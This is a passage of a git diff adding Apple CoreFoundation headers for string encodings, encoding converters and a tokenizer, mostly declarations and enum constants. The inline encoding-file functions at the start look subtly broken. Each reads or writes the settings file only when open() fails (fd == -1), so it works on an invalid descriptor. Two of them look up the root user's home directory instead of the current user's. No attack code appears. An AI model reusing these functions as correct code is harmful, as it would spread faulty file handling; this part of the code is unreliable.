getpwuid((uid_t)0))) { + char filename[MAXPATHLEN + 1]; + + const char *path = NULL; + if (!issetugid()) { + path = getenv("CFFIXED_USER_HOME"); + } + if (!path) { + path = passwdp->pw_dir; + } + + strlcpy(filename, path, sizeof(filename)); + strlcat(filename, __kCFUserEncodingFileName, sizeof(filename)); + + int no_hang_fd = open("/dev/autofs_nowait", 0); + int fd = open(filename, O_RDONLY, 0); + if (fd == -1) { + int readSize; + + // cjk: We do not turn on F_NOCACHE on the fd here, because + // many processes read this file on startup, and caching the + // is probably a good thing, for the system as a whole. + readSize = read(fd, buffer, __kCFMaxDefaultEncodingFileLength - 1); + buffer[(readSize < 0 ? 0 : readSize)] = '\0'; + close(fd); + stringValue = buffer; + } + close(no_hang_fd); + } + + if (stringValue) { + (void)strtol_l(stringValue, &stringValue, 0, NULL); + if (*stringValue == ':') return strtol_l(++stringValue, NULL, 0, NULL); + } + + return 0; // verUS +} + +CF_INLINE void __CFStringGetInstallationEncodingAndRegion(uint32_t *encoding, uint32_t *region) { + char *stringValue = NULL; + char buffer[__kCFMaxDefaultEncodingFileLength]; + struct passwd *passwdp; + + *encoding = 0; *region = 0; + + if ((passwdp = getpwuid((uid_t)0))) { + char filename[MAXPATHLEN + 1]; + + const char *path = NULL; + if (!issetugid()) { + path = getenv("CFFIXED_USER_HOME"); + } + if (!path) { + path = passwdp->pw_dir; + } + + strlcpy(filename, path, sizeof(filename)); + strlcat(filename, __kCFUserEncodingFileName, sizeof(filename)); + + int no_hang_fd = open("/dev/autofs_nowait", 0); + int fd = open(filename, O_RDONLY, 0); + if (fd == -1) { + int readSize; + + readSize = read(fd, buffer, __kCFMaxDefaultEncodingFileLength - 1); + buffer[(readSize < 0 ? 0 : readSize)] = '\0'; + close(fd); + stringValue = buffer; + } + close(no_hang_fd); + } + + if (stringValue) { + *encoding = strtol_l(stringValue, &stringValue, 0, NULL); + if (*stringValue == ':') *region = strtol_l(++stringValue, NULL, 0, NULL); + } +} + +CF_INLINE void __CFStringSaveUserDefaultEncoding(UInt32 iScriptValue, UInt32 iRegionValue) { + struct passwd *passwdp; + + if ((passwdp = getpwuid(getuid()))) { + char filename[MAXPATHLEN + 1]; + + const char *path = NULL; + if (!issetugid()) { + path = getenv("CFFIXED_USER_HOME"); + } + if (!path) { + path = passwdp->pw_dir; + } + + strlcpy(filename, path, sizeof(filename)); + strlcat(filename, __kCFUserEncodingFileName, sizeof(filename)); + + int no_hang_fd = open("/dev/autofs_nowait", 0); + (void)unlink(filename); // In case, file exists + int fd = open(filename, O_WRONLY|O_CREAT, 0400); + if (fd == -1) { + char buffer[__kCFMaxDefaultEncodingFileLength]; + unsigned int writeSize; + + writeSize = snprintf(buffer, __kCFMaxDefaultEncodingFileLength, "0x%X:0x%X", (unsigned int)iScriptValue, (unsigned int)iRegionValue); + (void)write(fd, buffer, (writeSize > __kCFMaxDefaultEncodingFileLength ? __kCFMaxDefaultEncodingFileLength : writeSize)); + close(fd); + } + close(no_hang_fd); + } +} + +CF_EXTERN_C_END + +#endif + +#endif /* ! __COREFOUNDATION_CFSTRINGDEFAULTENCODING__ */ + diff --git a/winstuff/CoreFoundation/CFStringEncodingConverter.h b/winstuff/CoreFoundation/CFStringEncodingConverter.h new file mode 100644 index 0000000..22cf1aa --- /dev/null +++ b/winstuff/CoreFoundation/CFStringEncodingConverter.h @@ -0,0 +1,107 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFStringEncodingConverter.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFSTRINGENCODINGCONVERTER__) +#define __COREFOUNDATION_CFSTRINGENCODINGCONVERTER__ 1 + +#include + + +CF_EXTERN_C_BEGIN + +/* Values for flags argument for the conversion functions below. These can be combined, but the three NonSpacing behavior flags are exclusive. +*/ +enum { + kCFStringEncodingAllowLossyConversion = 1, // Uses fallback functions to substitutes non mappable chars + kCFStringEncodingBasicDirectionLeftToRight = (1 << 1), // Converted with original direction left-to-right. + kCFStringEncodingBasicDirectionRightToLeft = (1 << 2), // Converted with original direction right-to-left. + kCFStringEncodingSubstituteCombinings = (1 << 3), // Uses fallback function to combining chars. + kCFStringEncodingComposeCombinings = (1 << 4), // Checks mappable precomposed equivalents for decomposed sequences. This is the default behavior. + kCFStringEncodingIgnoreCombinings = (1 << 5), // Ignores combining chars. + kCFStringEncodingUseCanonical = (1 << 6), // Always use canonical form + kCFStringEncodingUseHFSPlusCanonical = (1 << 7), // Always use canonical form but leaves 0x2000 ranges + kCFStringEncodingPrependBOM = (1 << 8), // Prepend BOM sequence (i.e. ISO2022KR) + kCFStringEncodingDisableCorporateArea = (1 << 9), // Disable the usage of 0xF8xx area for Apple proprietary chars in converting to UniChar, resulting loosely mapping. + kCFStringEncodingASCIICompatibleConversion = (1 << 10), // This flag forces strict ASCII compatible converion. i.e. MacJapanese 0x5C maps to Unicode 0x5C. + kCFStringEncodingLenientUTF8Conversion = (1 << 11) // 10.1 (Puma) compatible lenient UTF-8 conversion. +}; + +/* Return values for CFStringEncodingUnicodeToBytes & CFStringEncodingBytesToUnicode functions +*/ +enum { + kCFStringEncodingConversionSuccess = 0, + kCFStringEncodingInvalidInputStream = 1, + kCFStringEncodingInsufficientOutputBufferLength = 2, + kCFStringEncodingConverterUnavailable = 3 +}; + +/* Macro to shift lossByte argument. +*/ +#define CFStringEncodingLossyByteToMask(lossByte) ((uint32_t)(lossByte << 24)|kCFStringEncodingAllowLossyConversion) +#define CFStringEncodingMaskToLossyByte(flags) ((uint8_t)(flags >> 24)) + +/* Converts characters into the specified encoding. Returns the constants defined above. +If maxByteLen is 0, bytes is ignored. You can pass lossyByte by passing the value in flags argument. +i.e. CFStringEncodingUnicodeToBytes(encoding, CFStringEncodingLossyByteToMask(lossByte), ....) +*/ +extern uint32_t CFStringEncodingUnicodeToBytes(uint32_t encoding, uint32_t flags, const UniChar *characters, CFIndex numChars, CFIndex *usedCharLen, uint8_t *bytes, CFIndex maxByteLen, CFIndex *usedByteLen); + +/* Converts bytes in the specified encoding into unicode. Returns the constants defined above. +maxCharLen & usdCharLen are in UniChar length, not byte length. +If maxCharLen is 0, characters is ignored. +*/ +extern uint32_t CFStringEncodingBytesToUnicode(uint32_t encoding, uint32_t flags, const uint8_t *bytes, CFIndex numBytes, CFIndex *usedByteLen, UniChar *characters, CFIndex maxCharLen, CFIndex *usedCharLen); + +/* Fallback functions used when allowLossy +*/ +typedef CFIndex (*CFStringEncodingToBytesFallbackProc)(const UniChar *characters, CFIndex numChars, uint8_t *bytes, CFIndex maxByteLen, CFIndex *usedByteLen); +typedef CFIndex (*CFStringEncodingToUnicodeFallbackProc)(const uint8_t *bytes, CFIndex numBytes, UniChar *characters, CFIndex maxCharLen, CFIndex *usedCharLen); + +extern bool CFStringEncodingIsValidEncoding(uint32_t encoding); + +/* Returns kCFStringEncodingInvalidId terminated encoding list +*/ +extern const uint32_t *CFStringEncodingListOfAvailableEncodings(void); + +extern const char *CFStringEncodingName(uint32_t encoding); + +/* Returns NULL-terminated list of IANA registered canonical names +*/ +extern const char **CFStringEncodingCanonicalCharsetNames(uint32_t encoding); + +/* Returns required length of destination buffer for conversion. These functions are faster than specifying 0 to maxByteLen (maxCharLen), but unnecessarily optimal length +*/ +extern CFIndex CFStringEncodingCharLengthForBytes(uint32_t encoding, uint32_t flags, const uint8_t *bytes, CFIndex numBytes); +extern CFIndex CFStringEncodingByteLengthForCharacters(uint32_t encoding, uint32_t flags, const UniChar *characters, CFIndex numChars); + +/* Can register functions used for lossy conversion. Reregisters default procs if NULL +*/ +extern void CFStringEncodingRegisterFallbackProcedures(uint32_t encoding, CFStringEncodingToBytesFallbackProc toBytes, CFStringEncodingToUnicodeFallbackProc toUnicode); + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFSTRINGENCODINGCONVERTER__ */ + diff --git a/winstuff/CoreFoundation/CFStringEncodingConverterExt.h b/winstuff/CoreFoundation/CFStringEncodingConverterExt.h new file mode 100644 index 0000000..0df8580 --- /dev/null +++ b/winstuff/CoreFoundation/CFStringEncodingConverterExt.h @@ -0,0 +1,131 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFStringEncodingConverterExt.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFSTRINGENCODINGCONVERETEREXT__) +#define __COREFOUNDATION_CFSTRINGENCODINGCONVERETEREXT__ 1 + +#include + +CF_EXTERN_C_BEGIN + +#define MAX_DECOMPOSED_LENGTH (10) + +enum { + kCFStringEncodingConverterStandard = 0, + kCFStringEncodingConverterCheapEightBit = 1, + kCFStringEncodingConverterStandardEightBit = 2, + kCFStringEncodingConverterCheapMultiByte = 3, + kCFStringEncodingConverterPlatformSpecific = 4 // Other fields are ignored +}; + +/* kCFStringEncodingConverterStandard */ +typedef CFIndex (*CFStringEncodingToBytesProc)(uint32_t flags, const UniChar *characters, CFIndex numChars, uint8_t *bytes, CFIndex maxByteLen, CFIndex *usedByteLen); +typedef CFIndex (*CFStringEncodingToUnicodeProc)(uint32_t flags, const uint8_t *bytes, CFIndex numBytes, UniChar *characters, CFIndex maxCharLen, CFIndex *usedCharLen); +/* kCFStringEncodingConverterCheapEightBit */ +typedef bool (*CFStringEncodingCheapEightBitToBytesProc)(uint32_t flags, UniChar character, uint8_t *byte); +typedef bool (*CFStringEncodingCheapEightBitToUnicodeProc)(uint32_t flags, uint8_t byte, UniChar *character); +/* kCFStringEncodingConverterStandardEightBit */ +typedef uint16_t (*CFStringEncodingStandardEightBitToBytesProc)(uint32_t flags, const UniChar *characters, CFIndex numChars, uint8_t *byte); +typedef uint16_t (*CFStringEncodingStandardEightBitToUnicodeProc)(uint32_t flags, uint8_t byte, UniChar *characters); +/* kCFStringEncodingConverterCheapMultiByte */ +typedef uint16_t (*CFStringEncodingCheapMultiByteToBytesProc)(uint32_t flags, UniChar character, uint8_t *bytes); +typedef uint16_t (*CFStringEncodingCheapMultiByteToUnicodeProc)(uint32_t flags, const uint8_t *bytes, CFIndex numBytes, UniChar *character); + +typedef CFIndex (*CFStringEncodingToBytesLenProc)(uint32_t flags, const UniChar *characters, CFIndex numChars); +typedef CFIndex (*CFStringEncodingToUnicodeLenProc)(uint32_t flags, const uint8_t *bytes, CFIndex numBytes); + +typedef CFIndex (*CFStringEncodingToBytesPrecomposeProc)(uint32_t flags, const UniChar *character, CFIndex numChars, uint8_t *bytes, CFIndex maxByteLen, CFIndex *usedByteLen); +typedef bool (*CFStringEncodingIsValidCombiningCharacterProc)(UniChar character); + +typedef struct { + void *toBytes; + void *toUnicode; + uint16_t maxBytesPerChar; + uint16_t maxDecomposedCharLen; + uint8_t encodingClass; + uint32_t :24; + CFStringEncodingToBytesLenProc toBytesLen; + CFStringEncodingToUnicodeLenProc toUnicodeLen; + CFStringEncodingToBytesFallbackProc toBytesFallback; + CFStringEncodingToUnicodeFallbackProc toUnicodeFallback; + CFStringEncodingToBytesPrecomposeProc toBytesPrecompose; + CFStringEncodingIsValidCombiningCharacterProc isValidCombiningChar; +} CFStringEncodingConverter; + + +extern const CFStringEncodingConverter *CFStringEncodingGetConverter(uint32_t encoding); + +enum { + kCFStringEncodingGetConverterSelector = 0, + kCFStringEncodingIsDecomposableCharacterSelector = 1, + kCFStringEncodingDecomposeCharacterSelector = 2, + kCFStringEncodingIsValidLatin1CombiningCharacterSelector = 3, + kCFStringEncodingPrecomposeLatin1CharacterSelector = 4 +}; + +extern const void *CFStringEncodingGetAddressForSelector(uint32_t selector); + +#define BOOTSTRAPFUNC_NAME CFStringEncodingBootstrap +typedef const CFStringEncodingConverter* (*CFStringEncodingBootstrapProc)(uint32_t encoding, const void *getSelector); + +extern uint32_t CFStringEncodingGetScriptCodeForEncoding(CFStringEncoding encoding); + +/* Latin precomposition */ +/* This function does not precompose recursively nor to U+01E0 and U+01E1. +*/ +extern bool CFStringEncodingIsValidCombiningCharacterForLatin1(UniChar character); +extern UniChar CFStringEncodingPrecomposeLatinCharacter(const UniChar *character, CFIndex numChars, CFIndex *usedChars); + +/* Convenience functions for converter development */ +typedef struct _CFStringEncodingUnicodeTo8BitCharMap { + UniChar _u; + uint8_t _c; + uint8_t :8; +} CFStringEncodingUnicodeTo8BitCharMap; + +/* Binary searches CFStringEncodingUnicodeTo8BitCharMap */ +CF_INLINE bool CFStringEncodingUnicodeTo8BitEncoding(const CFStringEncodingUnicodeTo8BitCharMap *theTable, CFIndex numElem, UniChar character, uint8_t *ch) { + const CFStringEncodingUnicodeTo8BitCharMap *p, *q, *divider; + + if ((character < theTable[0]._u) || (character > theTable[numElem-1]._u)) { + return 0; + } + p = theTable; + q = p + (numElem-1); + while (p <= q) { + divider = p + ((q - p) >> 1); /* divide by 2 */ + if (character < divider->_u) { q = divider - 1; } + else if (character > divider->_u) { p = divider + 1; } + else { *ch = divider->_c; return 1; } + } + return 0; +} + + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFSTRINGENCODINGCONVERETEREXT__ */ + diff --git a/winstuff/CoreFoundation/CFStringEncodingConverterPriv.h b/winstuff/CoreFoundation/CFStringEncodingConverterPriv.h new file mode 100644 index 0000000..c53f830 --- /dev/null +++ b/winstuff/CoreFoundation/CFStringEncodingConverterPriv.h @@ -0,0 +1,75 @@ +/* + * Copyright (c) 2008 Apple Inc. All rights reserved. + * + * @APPLE_LICENSE_HEADER_START@ + * + * This file contains Original Code and/or Modifications of Original Code + * as defined in and that are subject to the Apple Public Source License + * Version 2.0 (the 'License'). You may not use this file except in + * compliance with the License. Please obtain a copy of the License at + * http://www.opensource.apple.com/apsl/ and read it before using this + * file. + * + * The Original Code and all software distributed under the License are + * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER + * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, + * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. + * Please see the License for the specific language governing rights and + * limitations under the License. + * + * @APPLE_LICENSE_HEADER_END@ + */ +/* CFStringEncodingConverterPriv.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFSTRINGENCODINGCONVERTERPRIV__) +#define __COREFOUNDATION_CFSTRINGENCODINGCONVERTERPRIV__ 1 + +#include +#include "CFStringEncodingConverterExt.h" + +#define MAX_IANA_ALIASES (4) + +typedef CFIndex (*_CFToBytesProc)(const void *converter, uint32_t flags, const UniChar *characters, CFIndex numChars, uint8_t *bytes, CFIndex maxByteLen, CFIndex *usedByteLen); +typedef CFIndex (*_CFToUnicodeProc)(const void *converter, uint32_t flags, const uint8_t *bytes, CFIndex numBytes, UniChar *characters, CFIndex maxCharLen, CFIndex *usedCharLen); + +typedef struct { + _CFToBytesProc toBytes; + _CFToUnicodeProc toUnicode; + _CFToUnicodeProc toCanonicalUnicode; + void *_toBytes; // original proc + void *_toUnicode; // original proc + uint16_t maxLen; + uint16_t :16; + CFStringEncodingToBytesLenProc toBytesLen; + CFStringEncodingToUnicodeLenProc toUnicodeLen; + CFStringEncodingToBytesFallbackProc toBytesFallback; + CFStringEncodingToUnicodeFallbackProc toUnicodeFallback; + CFStringEncodingToBytesPrecomposeProc toBytesPrecompose; + CFStringEncodingIsValidCombiningCharacterProc isValidCombiningChar; +} _CFEncodingConverter; + +typedef struct { + uint32_t encoding; + _CFEncodingConverter *converter; + const char *encodingName; + const char *ianaNames[MAX_IANA_ALIASES]; + const char *loadablePath; + CFStringEncodingBootstrapProc bootstrap; + CFStringEncodingToBytesFallbackProc toBytesFallback; + CFStringEncodingToUnicodeFallbackProc toUnicodeFallback; + uint32_t scriptCode; +} _CFConverterEntry; + +extern const CFStringEncodingConverter __CFConverterASCII; +extern const CFStringEncodingConverter __CFConverterISOLatin1; +extern const CFStringEncodingConverter __CFConverterMacRoman; +extern const CFStringEncodingConverter __CFConverterWinLatin1; +extern const CFStringEncodingConverter __CFConverterNextStepLatin; +extern const CFStringEncodingConverter __CFConverterUTF8; + + +#endif /* ! __COREFOUNDATION_CFSTRINGENCODINGCONVERTERPRIV__ */ + diff --git a/winstuff/CoreFoundation/CFStringEncodingExt.h b/winstuff/CoreFoundation/CFStringEncodingExt.h new file mode 100644 index 0000000..c09a343 --- /dev/null +++ b/winstuff/CoreFoundation/CFStringEncodingExt.h @@ -0,0 +1,189 @@ +/* CFStringEncodingExt.h + Copyright (c) 1998-2007, Apple Inc. All rights reserved. +*/ + +#if !defined(__COREFOUNDATION_CFSTRINGENCODINGEXT__) +#define __COREFOUNDATION_CFSTRINGENCODINGEXT__ 1 + +#include + +CF_EXTERN_C_BEGIN + +enum { +/* kCFStringEncodingMacRoman = 0L, defined in CoreFoundation/CFString.h */ + kCFStringEncodingMacJapanese = 1, + kCFStringEncodingMacChineseTrad = 2, + kCFStringEncodingMacKorean = 3, + kCFStringEncodingMacArabic = 4, + kCFStringEncodingMacHebrew = 5, + kCFStringEncodingMacGreek = 6, + kCFStringEncodingMacCyrillic = 7, + kCFStringEncodingMacDevanagari = 9, + kCFStringEncodingMacGurmukhi = 10, + kCFStringEncodingMacGujarati = 11, + kCFStringEncodingMacOriya = 12, + kCFStringEncodingMacBengali = 13, + kCFStringEncodingMacTamil = 14, + kCFStringEncodingMacTelugu = 15, + kCFStringEncodingMacKannada = 16, + kCFStringEncodingMacMalayalam = 17, + kCFStringEncodingMacSinhalese = 18, + kCFStringEncodingMacBurmese = 19, + kCFStringEncodingMacKhmer = 20, + kCFStringEncodingMacThai = 21, + kCFStringEncodingMacLaotian = 22, + kCFStringEncodingMacGeorgian = 23, + kCFStringEncodingMacArmenian = 24, + kCFStringEncodingMacChineseSimp = 25, + kCFStringEncodingMacTibetan = 26, + kCFStringEncodingMacMongolian = 27, + kCFStringEncodingMacEthiopic = 28, + kCFStringEncodingMacCentralEurRoman = 29, + kCFStringEncodingMacVietnamese = 30, + kCFStringEncodingMacExtArabic = 31, + /* The following use script code 0, smRoman */ + kCFStringEncodingMacSymbol = 33, + kCFStringEncodingMacDingbats = 34, + kCFStringEncodingMacTurkish = 35, + kCFStringEncodingMacCroatian = 36, + kCFStringEncodingMacIcelandic = 37, + kCFStringEncodingMacRomanian = 38, + kCFStringEncodingMacCeltic = 39, + kCFStringEncodingMacGaelic = 40, + /* The following use script code 4, smArabic */ + kCFStringEncodingMacFarsi = 0x8C, /* Like MacArabic but uses Farsi digits */ + /* The following use script code 7, smCyrillic */ + kCFStringEncodingMacUkrainian = 0x98, + /* The following use script code 32, smUnimplemented */ + kCFStringEncodingMacInuit = 0xEC, + kCFStringEncodingMacVT100 = 0xFC, /* VT100/102 font from Comm Toolbox: Latin-1 repertoire + box drawing etc */ + /* Special Mac OS encodings*/ + kCFStringEncodingMacHFS = 0xFF, /* Meta-value, should never appear in a table */ + + /* Unicode & ISO UCS encodings begin at 0x100 */ + /* We don't use Unicode variations defined in TextEncoding; use the ones in CFString.h, instead. */ + + /* ISO 8-bit and 7-bit encodings begin at 0x200 */ +/* kCFStringEncodingISOLatin1 = 0x0201, defined in CoreFoundation/CFString.h */ + kCFStringEncodingISOLatin2 = 0x0202, /* ISO 8859-2 */ + kCFStringEncodingISOLatin3 = 0x0203, /* ISO 8859-3 */ + kCFStringEncodingISOLatin4 = 0x0204, /* ISO 8859-4 */ + kCFStringEncodingISOLatinCyrillic = 0x0205, /* ISO 8859-5 */ + kCFStringEncodingISOLatinArabic = 0x0206, /* ISO 8859-6, =ASMO 708, =DOS CP 708 */ + kCFStringEncodingISOLatinGreek = 0x0207, /* ISO 8859-7 */ + kCFStringEncodingISOLatinHebrew = 0x0208, /* ISO 8859-8 */ + kCFStringEncodingISOLatin5 = 0x0209, /* ISO 8859-9 */ + kCFStringEncodingISOLatin6 = 0x020A, /* ISO 8859-10 */ + kCFStringEncodingISOLatinThai = 0x020B, /* ISO 8859-11 */ + kCFStringEncodingISOLatin7 = 0x020D, /* ISO 8859-13 */ + kCFStringEncodingISOLatin8 = 0x020E, /* ISO 8859-14 */ + kCFStringEncodingISOLatin9 = 0x020F, /* ISO 8859-15 */ +#if MAC_OS_X_VERSION_10_4 <= MAC_OS_X_VERSION_MAX_ALLOWED + kCFStringEncodingISOLatin10 = 0x0210, /* ISO 8859-16 */ +#endif + + /* MS-DOS & Windows encodings begin at 0x400 */ + kCFStringEncodingDOSLatinUS = 0x0400, /* code page 437 */ + kCFStringEncodingDOSGreek = 0x0405, /* code page 737 (formerly code page 437G) */ + kCFStringEncodingDOSBalticRim = 0x0406, /* code page 775 */ + kCFStringEncodingDOSLatin1 = 0x0410, /* code page 850, "Multilingual" */ + kCFStringEncodingDOSGreek1 = 0x0411, /* code page 851 */ + kCFStringEncodingDOSLatin2 = 0x0412, /* code page 852, Slavic */ + kCFStringEncodingDOSCyrillic = 0x0413, /* code page 855, IBM Cyrillic */ + kCFStringEncodingDOSTurkish = 0x0414, /* code page 857, IBM Turkish */ + kCFStringEncodingDOSPortuguese = 0x0415, /* code page 860 */ + kCFStringEncodingDOSIcelandic = 0x0416, /* code page 861 */ + kCFStringEncodingDOSHebrew = 0x0417, /* code page 862 */ + kCFStringEncodingDOSCanadianFrench = 0x0418, /* code page 863 */ + kCFStringEncodingDOSArabic = 0x0419, /* code page 864 */ + kCFStringEncodingDOSNordic = 0x041A, /* code page 865 */ + kCFStringEncodingDOSRussian = 0x041B, /* code page 866 */ + kCFStringEncodingDOSGreek2 = 0x041C, /* code page 869, IBM Modern Greek */ + kCFStringEncodingDOSThai = 0x041D, /* code page 874, also for Windows */ + kCFStringEncodingDOSJapanese = 0x0420, /* code page 932, also for Windows */ + kCFStringEncodingDOSChineseSimplif = 0x0421, /* code page 936, also for Windows */ + kCFStringEncodingDOSKorean = 0x0422, /* code page 949, also for Windows; Unified Hangul Code */ + kCFStringEncodingDOSChineseTrad = 0x0423, /* code page 950, also for Windows */ +/* kCFStringEncodingWindowsLatin1 = 0x0500, defined in CoreFoundation/CFString.h */ + kCFStringEncodingWindowsLatin2 = 0x0501, /* code page 1250, Central Europe */ + kCFStringEncodingWindowsCyrillic = 0x0502, /* code page 1251, Slavic Cyrillic */ + kCFStringEncodingWindowsGreek = 0x0503, /* code page 1253 */ + kCFStringEncodingWindowsLatin5 = 0x0504, /* code page 1254, Turkish */ + kCFStringEncodingWindowsHebrew = 0x0505, /* code page 1255 */ + kCFStringEncodingWindowsArabic = 0x0506, /* code page 1256 */ + kCFStringEncodingWindowsBalticRim = 0x0507, /* code page 1257 */ + kCFStringEncodingWindowsVietnamese = 0x0508, /* code page 1258 */ + kCFStringEncodingWindowsKoreanJohab = 0x0510, /* code page 1361, for Windows NT */ + + /* Various national standards begin at 0x600 */ +/* kCFStringEncodingASCII = 0x0600, defined in CoreFoundation/CFString.h */ +#if MAC_OS_X_VERSION_10_4 <= MAC_OS_X_VERSION_MAX_ALLOWED + kCFStringEncodingANSEL = 0x0601, /* ANSEL (ANSI Z39.47) */ +#endif + kCFStringEncodingJIS_X0201_76 = 0x0620, + kCFStringEncodingJIS_X0208_83 = 0x0621, + kCFStringEncodingJIS_X0208_90 = 0x0622, + kCFStringEncodingJIS_X0212_90 = 0x0623, + kCFStringEncodingJIS_C6226_78 = 0x0624, +#if MAC_OS_X_VERSION_10_5 <= MAC_OS_X_VERSION_MAX_ALLOWED + kCFStringEncodingShiftJIS_X0213 = 0x0628, /* Shift-JIS format encoding of JIS X0213 planes 1 and 2*/ +#endif +#if MAC_OS_X_VERSION_10_4 <= MAC_OS_X_VERSION_MAX_ALLOWED + kCFStringEncodingShiftJIS_X0213_MenKuTen = 0x0629, /* JIS X0213 in plane-row-column notation */ +#endif + kCFStringEncodingGB_2312_80 = 0x0630, + kCFStringEncodingGBK_95 = 0x0631, /* annex to GB 13000-93; for Windows 95 */ + kCFStringEncodingGB_18030_2000 = 0x0632, + kCFStringEncodingKSC_5601_87 = 0x0640, /* same as KSC 5601-92 without Johab annex */ + kCFStringEncodingKSC_5601_92_Johab = 0x0641, /* KSC 5601-92 Johab annex */ + kCFStringEncodingCNS_11643_92_P1 = 0x0651, /* CNS 11643-1992 plane 1 */ + kCFStringEncodingCNS_11643_92_P2 = 0x0652, /* CNS 11643-1992 plane 2 */ + kCFStringEncodingCNS_11643_92_P3 = 0x0653, /* CNS 11643-1992 plane 3 (was plane 14 in 1986 version) */ + + /* ISO 2022 collections begin at 0x800 */ + kCFStringEncodingISO_2022_JP = 0x0820, + kCFStringEncodingISO_2022_JP_2 = 0x0821, + kCFStringEncodingISO_2022_JP_1 = 0x0822, /* RFC 2237*/ + kCFStringEncodingISO_2022_JP_3 = 0x0823, /* JIS X0213*/ + kCFStringEncodingISO_2022_CN = 0x0830, + kCFStringEncodingISO_2022_CN_EXT = 0x0831, + kCFStringEncodingISO_2022_KR = 0x0840, + + /* EUC collections begin at 0x900 */ + kCFStringEncodingEUC_JP = 0x0920, /* ISO 646, 1-byte katakana, JIS 208, JIS 212 */ + kCFStringEncodingEUC_CN = 0x0930, /* ISO 646, GB 2312-80 */ + kCFStringEncodingEUC_TW = 0x0931, /* ISO 646, CNS 11643-1992 Planes 1-16 */ + kCFStringEncodingEUC_KR = 0x0940, /* ISO 646, KS C 5601-1987 */ + + /* Misc standards begin at 0xA00 */ + kCFStringEncodingShiftJIS = 0x0A01, /* plain Shift-JIS */ + kCFStringEncodingKOI8_R = 0x0A02, /* Russian internet standard */ + kCFStringEncodingBig5 = 0x0A03, /* Big-5 (has variants) */ + kCFStringEncodingMacRomanLatin1 = 0x0A04, /* Mac OS Roman permuted to align with ISO Latin-1 */ + kCFStringEncodingHZ_GB_2312 = 0x0A05, /* HZ (RFC 1842, for Chinese mail & news) */ + kCFStringEncodingBig5_HKSCS_1999 = 0x0A06, /* Big-5 with Hong Kong special char set supplement*/ +#if MAC_OS_X_VERSION_10_4 <= MAC_OS_X_VERSION_MAX_ALLOWED + kCFStringEncodingVISCII = 0x0A07, /* RFC 1456, Vietnamese */ + kCFStringEncodingKOI8_U = 0x0A08, /* RFC 2319, Ukrainian */ + kCFStringEncodingBig5_E = 0x0A09, /* Taiwan Big-5E standard */ +#endif + + /* Other platform encodings*/ +/* kCFStringEncodingNextStepLatin = 0x0B01, defined in CoreFoundation/CFString.h */ +#if MAC_OS_X_VERSION_10_4 <= MAC_OS_X_VERSION_MAX_ALLOWED + kCFStringEncodingNextStepJapanese = 0x0B02, /* NextStep Japanese encoding */ +#endif + + /* EBCDIC & IBM host encodings begin at 0xC00 */ + kCFStringEncodingEBCDIC_US = 0x0C01, /* basic EBCDIC-US */ + kCFStringEncodingEBCDIC_CP037 = 0x0C02, /* code page 037, extended EBCDIC (Latin-1 set) for US,Canada... */ + + /* Deprecated constants */ + kCFStringEncodingShiftJIS_X0213_00 = 0x0628 /* Shift-JIS format encoding of JIS X0213 planes 1 and 2 (DEPRECATED) */ +}; +typedef CFIndex CFStringEncodings; + +CF_EXTERN_C_END + +#endif /* ! __COREFOUNDATION_CFSTRINGENCODINGEXT__ */ + diff --git a/winstuff/CoreFoundation/CFStringTokenizer.h b/winstuff/CoreFoundation/CFStringTokenizer.h new file mode 100644 index 0000000..71f8823 --- /dev/null +++ b/winstuff/CoreFoundation/CFStringTokenizer.h @@ -0,0 +1,266 @@ +/* CFStringTokenizer.h + Copyright (c) 2006-2007, Apple Inc. All rights reserved. +*/ + +/*! + @header CFStringTokenizer + @abstract A CFStringTokenizer object provides the means by which you can + tokenize a string. To find a token that includes the character + specified by character index and set it as the current token, you call + CFStringTokenizerGoToTokenAtIndex. To advance to the next token and set + it as the current token, you call CFStringTokenizerAdvanceToNextToken. + To get the range of current token, you call + CFStringTokenizerGetCurrentTokenRange. You can use + CFStringTokenizerCopyCurrentTokenAttribute to get the attribute of + current token. If current token is a compound, you can call + CFStringTokenizerGetCurrentSubTokens to retrieve the subtokens or derived + subtokens contained in the compound token. + To guess the language of a string, you call + 